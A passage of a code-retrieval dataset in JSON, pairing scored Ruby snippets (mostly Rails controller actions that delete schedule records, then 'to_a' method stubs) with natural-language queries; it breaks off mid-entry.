"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "460c1a5538399bb04df17335403fe248",
"score": "0.781466",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/\", notice: \"Schedule was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d494d80683f5c052a2adce72567baa6b",
"score": "0.77927893",
"text": "def destroy\n @reloud_schedule = ReloudSchedule.find(params[:id])\n @reloud_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to reloud_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c239e6f310b82661a8616e391c46775a",
"score": "0.7770987",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "504ccefa861d9f008018ac959b07fbe5",
"score": "0.77674484",
"text": "def destroy\n @simple_schedule = SimpleSchedule.find(params[:id])\n @simple_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to(simple_schedules_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5d2b1fd1bbc3149b667afb6928e2744c",
"score": "0.776342",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d0b90830927d1bad65bf9086b0241102",
"score": "0.7740316",
"text": "def destroy\n @shedule = Shedule.find(params[:id])\n @shedule.destroy\n\n respond_to do |format|\n format.html { redirect_to shedules_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ae7f23b7807984850c480d4e14c3d103",
"score": "0.7725436",
"text": "def destroy\n find_schedule\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to(schedules_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "87467605b762e23ad1d8d13e1791cca3",
"score": "0.7725064",
"text": "def destroy\n @scheduleId = params[:id]\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77224904",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "683fc8c5fa6206462dfc11350224de68",
"score": "0.77217144",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "db3f01c636205bc312023c4fa0980bd9",
"score": "0.7719626",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d2eafe639de0ad7ea2e36d2bc8b71f6d",
"score": "0.7713638",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: \"Schedule was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "15ce34b77748d54fd2009811c01ee2f1",
"score": "0.77124023",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { render json: { status: 'ok' }, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "2415ff3612a1b3ed506695891bf678d3",
"score": "0.7706547",
"text": "def destroy\n @rescheduling = Rescheduling.find(params[:id])\n @rescheduling.destroy\n\n respond_to do |format|\n format.html { redirect_to reschedulings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a46f8e66c5313ab45d1c6c5fac1a4fd7",
"score": "0.76945233",
"text": "def destroy\n @route_schedule.destroy\n render json: @route_schedule\n end",
"title": ""
},
{
"docid": "f396c24402fa3bbd9ccb0e1326ae77fe",
"score": "0.7694389",
"text": "def destroy\n\t\[email protected]\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to schedules_url, notice: 'Schedule was successfully deleted!' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "12d15bdb7219391c912842c241f7a0a7",
"score": "0.7689049",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to(schedules_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "12d15bdb7219391c912842c241f7a0a7",
"score": "0.7689049",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to(schedules_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "12d15bdb7219391c912842c241f7a0a7",
"score": "0.7689049",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to(schedules_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "12d15bdb7219391c912842c241f7a0a7",
"score": "0.7689049",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to(schedules_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "af8f0dc600466d252e36cc926c277b59",
"score": "0.76863307",
"text": "def delete\n\t\tverify_delete_params\n\t\tverify_delete_param_values\n\n\t\tscheduleId = params[:id]\n\t\tschedule = Schedule.find(params[:id])\n\t\tschedule = schedule.destroy\n\n\t\tif schedule.destroyed?\n\t\t\trender :nothing => true, :status => 204\n\t\telse\n\t\t\traise UnexpectedResultException.new(UnexpectedResultException::Codes::DeletionUnsuccessful, \n\t\t\t\t\"Unable to delete schedule\", \n\t\t\t\t\"There was an issue with deleting the schedule with id #{scheduleId} from the database\")\n\t\tend\n\tend",
"title": ""
},
{
"docid": "bf8c32fccb2a4ec23fbbf1f315411c9c",
"score": "0.7681395",
"text": "def delete_schedule(id)\n boolean_from_response :delete, \"/schedules/#{id}\"\n end",
"title": ""
},
{
"docid": "78e396eec41807c06189e51df5c2c54f",
"score": "0.7674786",
"text": "def destroy\n @time_schedule.destroy\n respond_to do |format|\n format.html { redirect_to time_schedules_url, notice: 'Time schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1edebac59f02e008de9858533fed53b7",
"score": "0.7670644",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2fd669e00d19df38c80242cfc3561621",
"score": "0.7645448",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to user_schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f5c5611cbd2178c552caec72a1e424ee",
"score": "0.7634947",
"text": "def destroy\r\n @schedule = Schedule.find(params[:id])\r\n @schedule.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(schedules_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"title": ""
},
{
"docid": "33825a9d6eefba346523181c74f9ab3b",
"score": "0.7631218",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to scheduler_schedules_path(user_id: @user.id), notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ff4f6f9b32551c9f37c606d108abfcf0",
"score": "0.76301086",
"text": "def destroy\n @kr_schedule = KrSchedule.find(params[:id])\n @kr_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to kr_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "83dc21d5fd75e8b07a2b9de1fc617f5b",
"score": "0.7619155",
"text": "def destroy\n @nfl_schedule = NflSchedule.find(params[:id])\n @nfl_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to nfl_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7017f1e3fb0b12e322dbadbac2f1ae00",
"score": "0.7616691",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to specialists_schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "40a75f3e9188c4b44b00c3fe6a96ca74",
"score": "0.7616356",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to schedule_plan_schedules_url (params[:schedule_plan_id])}\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f66a0f3bb2b69e824f2f5f871aed3ede",
"score": "0.76104903",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to new_schedule_path, notice: 'スケジュールが削除されました。' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a14ca0c499c46823ae96a379050d2e62",
"score": "0.760708",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Agendamento apagado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1d4b978e247030de0aa4ab2d90c1ef60",
"score": "0.7604167",
"text": "def destroy\n @schedule.destroy\n redirect_to schedules_simples_url\n end",
"title": ""
},
{
"docid": "0274d9a5b4b72c6e1aa589aa18a8a1c0",
"score": "0.760173",
"text": "def destroy\n @task_schedule.destroy\n respond_to do |format|\n format.html { redirect_to task_schedules_url, notice: 'Task schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b6b31894dae137c92798abbe0076f88c",
"score": "0.75926536",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to account_path, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5559c4a603c6888c0d6510835b0fee1b",
"score": "0.7584863",
"text": "def destroy\n @service_schedule = ServiceSchedule.find(params[:id])\n @service_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to service_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4e3c81e77f3c7e53062a6da90c65a08c",
"score": "0.7580849",
"text": "def destroy\n @recurring_schedule.destroy\n respond_to do |format|\n format.html { redirect_to recurring_schedules_url, notice: 'Recurring schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dda6dc2bff13f69d27417b7e36fd8031",
"score": "0.75665015",
"text": "def destroy\n audit(@service_schedule, current_user)\n @service_schedule.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "4f04cf5975c2d4b190b737413836f7e3",
"score": "0.7564861",
"text": "def destroy\n s = Schedule.find params[:id]\n s.destroy\n redirect_to schedules_path\n end",
"title": ""
},
{
"docid": "b1bd26795df93e8aaa68f7b3337829f7",
"score": "0.7562435",
"text": "def destroy\n @collection_schedule.destroy\n respond_to do |format|\n format.html { redirect_to collection_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "866f4a702aa0ae1eddc2b1f3cfb1890d",
"score": "0.75586283",
"text": "def destroy\n @weekly_schedule = WeeklySchedule.find(params[:id])\n @weekly_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to weekly_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2f9663de02336cb77a39274f935fc753",
"score": "0.75566596",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to calendar_path, notice: 'スケジュールが削除されました。' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c2af56781a53fc8db0c8e600635d65db",
"score": "0.75472534",
"text": "def destroy\n @schedules_event = SchedulesEvent.find(params[:id])\n @schedules_event.destroy\n\n respond_to do |format|\n format.html { redirect_to schedules_events_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2e6e2733979adc963c613aa39b9eaa0b",
"score": "0.754515",
"text": "def destroy\n @schedule = Schedule.find(params[:id])\n @schedule.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "1b9032d54f61925ae2a8db90b5ad8a45",
"score": "0.7542363",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html {\n redirect_to schedules_path,\n notice: 'O agendamento foi removido com sucesso.'\n }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a92a07b757628c9328a1034898d230e2",
"score": "0.75406927",
"text": "def destroy\n @checkin_schedule = current_user.checkin_schedules.where(id: params[:id]).first\n @checkin_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboard_checkin_schedules_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b96f3f9b6dc7898568baa1e469112f00",
"score": "0.75344014",
"text": "def destroy\n @ad_schedule = AdSchedule.find(params[:id])\n @ad_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to ad_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "04af6cbd011a9f96c642301539a6d34b",
"score": "0.7522569",
"text": "def destroy\n @scheduled.destroy\n respond_to do |format|\n format.html { redirect_to scheduleds_url, notice: 'Scheduled was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7cec0be5b6eb2ecc4190495f595a978b",
"score": "0.7520529",
"text": "def destroy\n @classroom_schedule = Classroom::Schedule.find(params[:id])\n @classroom_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to classroom_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f9e285d0e43bc490df3934893157c0bc",
"score": "0.7519364",
"text": "def destroy\n @reminder_schedule = ReminderSchedule.find(params[:id])\n @reminder_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to(reminder_schedules_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "77182c7172b9f40fa4c39a86ebdced1d",
"score": "0.7498497",
"text": "def destroy\n @content_schedule = ContentSchedule.find(params[:id])\n @content_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to content_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "02215af3833bc557d06139634613acdc",
"score": "0.749783",
"text": "def destroy\n @visiting_schedule.destroy\n respond_to do |format|\n format.html { redirect_to visiting_schedules_url, notice: 'Visiting schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "523e7c65a492869577ca578aa2f6d31d",
"score": "0.74725443",
"text": "def destroy\n @reminder_schedule.destroy\n respond_to do |format|\n format.html { redirect_to reminder_schedules_url, notice: 'Reminder schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d6cc51007d36415f080970cbac5d0168",
"score": "0.74703896",
"text": "def destroy\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n # format.json { head :no_content }\n format.json { return render json: { data: @schedule, status: 'deleted'} }\n end\n end",
"title": ""
},
{
"docid": "3a17cfae4481aade935b53de302bf7a6",
"score": "0.746747",
"text": "def destroy\n @scheduletime.destroy\n respond_to do |format|\n format.html { redirect_to scheduletimes_url, notice: 'Scheduletime was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "27d4840072bd91b91c2688cbdb16675d",
"score": "0.7458247",
"text": "def destroy\n @schedule.destroy\n end",
"title": ""
},
{
"docid": "8f668429ef67c6592d4c37d0b24438a7",
"score": "0.7448469",
"text": "def destroy\n @schedule.destroy\n notify_user(:notice, \"The Maintenance Program was successfully removed.\")\n respond_to do |format|\n format.html { redirect_to maintenance_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "55549a492d2c9ebd7e7d63a0c4948c4e",
"score": "0.74286425",
"text": "def destroy\n @schedule_item = ScheduleItem.find(params[:id])\n @schedule_item.destroy\n\n respond_to do |format|\n format.html { redirect_to schedule_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b18a1478307951a5c1fbfad7f6911704",
"score": "0.7427905",
"text": "def destroy\n @detail_schedule.destroy\n respond_to do |format|\n format.html { redirect_to detail_schedules_url, notice: 'Detail schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "141d23df664f1728c99809038a55c6fd",
"score": "0.74186194",
"text": "def destroy\n authorize @schedule\n @schedule.destroy\n respond_to do |format|\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6b450121140714b42a01039a21b84941",
"score": "0.7418268",
"text": "def destroy\n @work_schedule = WorkSchedule.find(params[:id])\n @work_schedule.destroy\n\n respond_to do |format|\n format.html { redirect_to work_schedules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8298fe0702c60e43fa7bdc808b3f780",
"score": "0.74098784",
"text": "def destroy\n @nfi_schedule.destroy\n respond_to do |format|\n format.html { redirect_to nfi_schedules_url, notice: 'Nfi schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3ae14e696d296d2738cacf6760b72f24",
"score": "0.74074",
"text": "def destroy\n @climb_schedule.destroy\n respond_to do |format|\n format.html { redirect_to climb_schedules_url, notice: 'Climb schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "84580828a204fc2a37c471a1a11b4987",
"score": "0.73959476",
"text": "def destroy\n @eventschedule.destroy\n respond_to do |format|\n format.html { redirect_to eventschedules_url, notice: 'Eventschedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
c7b971cdbb155460a82163276042f7fe
|
Objectto_a is deprecated, though it does have the desired behavior
|
[
{
"docid": "6ee21d57ad11248f56a08ad1971a21c4",
"score": "0.0",
"text": "def safe_to_array(o)\n case o\n when NilClass\n []\n when Array\n o\n else\n [o]\n end\n end",
"title": ""
}
] |
[
{
"docid": "876b963c40598a360335b36629211cd7",
"score": "0.7984707",
"text": "def to_a() end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "c96ae571ddf821f2185a34a16a364359",
"score": "0.7937527",
"text": "def to_a; end",
"title": ""
},
{
"docid": "9dadffa4b07200aba29da4b43dc51d2e",
"score": "0.78627324",
"text": "def to_a(*) end",
"title": ""
},
{
"docid": "797cd34a730302673555ad29e30108b6",
"score": "0.7852452",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "797cd34a730302673555ad29e30108b6",
"score": "0.7852452",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "797cd34a730302673555ad29e30108b6",
"score": "0.7852452",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "797cd34a730302673555ad29e30108b6",
"score": "0.7852452",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "797cd34a730302673555ad29e30108b6",
"score": "0.7852452",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "797cd34a730302673555ad29e30108b6",
"score": "0.7852452",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "797cd34a730302673555ad29e30108b6",
"score": "0.7852452",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "797cd34a730302673555ad29e30108b6",
"score": "0.7852452",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "9e07e9dba65d170b5fdd81e3b6c2acde",
"score": "0.7756424",
"text": "def to_a\n __lazy_ensure_obj\n if @obj.respond_to?(:to_a)\n @obj.to_a\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "f90855b9613e979c0fa1b4a11c5a5054",
"score": "0.7755803",
"text": "def to_a\r\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "14f6145b3902b2b5b53c2c4ded5c1c2e",
"score": "0.77523124",
"text": "def to_a\n end",
"title": ""
},
{
"docid": "483b135a84f05d8f4328c1a0c752c357",
"score": "0.77248085",
"text": "def to_a() super end",
"title": ""
},
{
"docid": "c1a1e9e649b58a8492e7997843004632",
"score": "0.771724",
"text": "def to_a()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "b9a46a8f61f5d77ae6098e73b28ae848",
"score": "0.7702906",
"text": "def to_a\r\n to_ary\r\n end",
"title": ""
},
{
"docid": "32fa8172d0d0b8da4ff38f4477156e91",
"score": "0.76888984",
"text": "def to_a()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "2f6ecc1dda59795bac6ea0176d73a014",
"score": "0.7653853",
"text": "def to_a\n # remove this method for MRI 1.9 compatibility\n [ self ]\n end",
"title": ""
},
{
"docid": "9b68d434902df875979773ec964e627f",
"score": "0.76384515",
"text": "def to_a()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "b333801d7dbc230eb0c8999cbbcdadda",
"score": "0.76201236",
"text": "def to_a\n @to_a ||= _to_a\n end",
"title": ""
},
{
"docid": "442c3723e937e694caec608ec6f4c64b",
